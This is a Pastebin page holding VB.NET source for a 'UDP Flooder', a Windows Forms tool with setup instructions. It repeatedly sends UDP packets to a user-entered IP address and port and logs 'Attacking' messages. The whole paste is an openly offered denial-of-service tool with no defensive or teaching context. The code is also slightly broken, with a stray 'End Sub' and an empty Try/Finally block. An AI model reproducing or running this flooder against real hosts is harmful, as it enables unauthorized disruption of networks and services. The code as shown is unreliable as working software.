Advertisement
TermSpar

UDP Flooder (BenAndChris)

Sep 11th, 2015
165
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 1.60 KB | None | 0 0
  1. UDP Flooder by TermSpar (Ben from BenAndChris)
  2.  
  3.  
  4.  
  5. Before entering this code make sure that you first have:
  6. -----------------------------------------------------------------------------------------------------------------------------------
  7. 2 buttons
  8. 1 Timer
  9. 1 Listbox named Data
  10. 3 text boxes, first one for the IP, second one for the port, and third one for the message
  11. 1 Trackbar
  12.  
  13. Import:
  14. Imports System.Net
  15. Imports System.Text
  16. Imports System.Net.Sockets
  17. Imports System.Diagnostics
  18. -----------------------------------------------------------------------------------------------------------------------------------
  19. Public Class Form1
  20.     Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As EventArgs) Handles Timer1.Tick
  21.         Try
  22.  
  23.             Data.Items.Add("Attacking " + TextBox1.Text + " With Data ")
  24.             Data.Items.Add(My.Computer.Info.AvailableVirtualMemory)
  25.             Data.Items.Add("")
  26.             Dim udpClient As New UdpClient
  27.             Dim GLOIP As IPAddress
  28.             Dim bytCommand As Byte() = New Byte() {}
  29.             GLOIP = IPAddress.Parse(TextBox1.Text)
  30.             udpClient.Connect(GLOIP, TextBox2.Text)
  31.             bytCommand = Encoding.ASCII.GetBytes(TextBox3.Text)
  32.             udpClient.Send(bytCommand, bytCommand.Length)
  33.         Finally
  34.  
  35.         End Try
  36.  
  37.     End Sub
  38.  
  39.     End Sub
  40.     Private Sub Button1_Click(ByVal sender As Object, ByVal e As EventArgs) Handles Button1.Click
  41.         Timer1.Start()
  42.     End Sub
  43.  
  44.     Private Sub Button2_Click(ByVal sender As Object, ByVal e As EventArgs) Handles Button2.Click
  45.         Timer1.Stop()
  46.     End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement